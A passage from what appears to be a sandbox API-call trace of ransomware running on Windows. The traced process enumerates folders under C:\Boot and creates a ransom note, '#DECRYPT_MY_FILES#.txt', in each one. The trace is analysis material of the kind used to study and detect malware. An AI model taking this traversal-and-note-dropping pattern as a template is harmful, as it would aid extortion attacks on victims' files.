lpWideCharStr=0x0) returned 38 [0031.611] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\en-US\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.611] CreateFileW (lpFileName="C:\\\\Boot\\en-US\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\en-us\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.614] GetFileType (hFile=0x108) returned 0x1 [0031.614] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.614] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.614] GetLastError () returned 0x0 [0031.615] FindFirstFileA (in: lpFileName="C:\\\\Boot\\en-US\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d3a400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d3a400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.615] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d3a400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d3a400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.615] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d3a400, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5d3a400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d3a400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.616] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.616] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.616] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.616] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.616] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.616] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.616] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.616] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.616] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.616] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.616] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.616] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0031.616] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.616] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.616] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.616] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.616] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0031.616] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.616] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="es-ES", cAlternateFileName="")) returned 1 [0031.616] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.616] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.616] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.616] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.616] AreFileApisANSI () returned 1 [0031.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.617] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\es-ES\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.617] CreateFileW (lpFileName="C:\\\\Boot\\es-ES\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\es-es\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.618] GetFileType (hFile=0x108) returned 0x1 [0031.618] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.618] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.618] GetLastError () returned 0x0 [0031.619] FindFirstFileA (in: lpFileName="C:\\\\Boot\\es-ES\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d3a400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d3a400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.619] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d3a400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d3a400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.619] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d3a400, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5d3a400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d3a400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.619] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.619] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.619] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.619] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.620] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.620] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.620] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.620] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.620] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.620] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.620] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.620] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.620] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.620] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0031.620] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.620] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.620] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.620] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.620] AreFileApisANSI () returned 1 [0031.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.620] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\fi-FI\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.620] CreateFileW (lpFileName="C:\\\\Boot\\fi-FI\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\fi-fi\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.621] GetFileType (hFile=0x108) returned 0x1 [0031.621] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.621] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.621] GetLastError () returned 0x0 [0031.622] FindFirstFileA (in: lpFileName="C:\\\\Boot\\fi-FI\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d60560, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d60560, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.622] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d60560, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d60560, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.622] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d60560, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5d60560, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d60560, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.622] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.622] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.622] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.622] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.623] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.623] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.623] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.623] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.623] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.623] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.623] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.623] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.623] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.623] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="Fonts", cAlternateFileName="")) returned 1 [0031.623] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.623] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.623] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.623] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.623] AreFileApisANSI () returned 1 [0031.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.623] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\Fonts\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.623] CreateFileW (lpFileName="C:\\\\Boot\\Fonts\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\fonts\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.626] GetFileType (hFile=0x108) returned 0x1 [0031.626] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.626] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.626] GetLastError () returned 0x0 [0031.627] FindFirstFileA (in: lpFileName="C:\\\\Boot\\Fonts\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d60560, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d60560, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.630] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d60560, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d60560, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.630] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d60560, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5d60560, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d60560, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.630] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.630] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.630] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.630] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.630] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.630] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.630] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0031.630] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.630] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.630] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.630] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.630] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0031.630] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.630] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.630] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.630] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.630] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0031.631] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.631] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.631] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.631] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.631] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x4fe, 